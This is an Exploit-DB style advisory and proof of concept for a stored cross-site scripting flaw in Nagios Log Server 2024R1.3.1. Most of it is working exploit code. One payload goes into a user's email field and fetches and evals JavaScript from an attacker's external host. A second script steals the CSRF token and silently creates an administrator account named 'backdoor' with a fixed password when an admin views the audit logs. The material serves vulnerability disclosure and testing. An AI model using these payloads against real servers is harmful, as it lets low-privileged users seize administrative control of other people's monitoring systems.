Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)

vendor:

Nagios Log Server

by:

Seth Kraft

8.1

CVSS

CRITICAL

Stored Cross-Site Scripting (XSS), Privilege Escalation

79, 352, 285, 269, 602

CWE

Product Name: Nagios Log Server

Affected Version From: 2024R1.3.1

Affected Version To: 2024R1.3.1 and below

Patch Exists: NO

Related CWE:

CPE: a:nagios:nagios_log_server:2024R1.3.1

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 20.04

2025

Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)

A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject malicious JavaScript into the 'email' field of their profile. When an administrator views the audit logs, the script executes, resulting in privilege escalation via unauthorized admin account creation. The vulnerability can be chained to achieve remote code execution (RCE) in certain configurations.

Mitigation:

To mitigate this vulnerability, ensure input validation on all user-supplied data, sanitize user inputs to remove any malicious scripts, and implement proper access controls to prevent privilege escalation.

Source

Exploit-DB raw data:

# Exploit Title: Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)
# Date: 2025-04-02
# Exploit Author: Seth Kraft
# Vendor Homepage: https://www.nagios.com/
# Vendor Changelog: https://www.nagios.com/changelog/#log-server
# Software Link: https://www.nagios.com/products/log-server/download/
# Version: 2024R1.3.1 and below
# Tested On: Nagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)
# CWE: CWE-79, CWE-352, CWE-285, CWE-269, CWE-602
# CVSS: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:R/S:C/VC:H/VI:H/VA:H)
# Type: Stored Cross-Site Scripting (XSS), Privilege Escalation
# Exploit Risk: Critical

# Disclosure
For research and authorized testing only. Do not use against systems without permission.

# Description:
A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject
malicious JavaScript into the 'email' field of their profile. When an administrator views the audit logs,
the script executes, resulting in privilege escalation via unauthorized admin account creation.
The vulnerability can be chained to achieve remote code execution (RCE) in certain configurations.

# PoC

1. Log in as a standard (non-admin) user.
2. Navigate to the profile update endpoint:

   http://<target-ip>/nagioslogserver/profile/update

3. Inject the following payload into the email field:

```javascript
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>
```

4. Host the xss.js payload on your external server with the following content:

```javascript
(function() {
  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&email=hacker@example.com" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(console.log)
  .catch(console.error);
})();
```

5. Wait for an administrator to view the audit logs. The JavaScript will execute, creating a new admin account:

Username: backdoor
Password: Password123!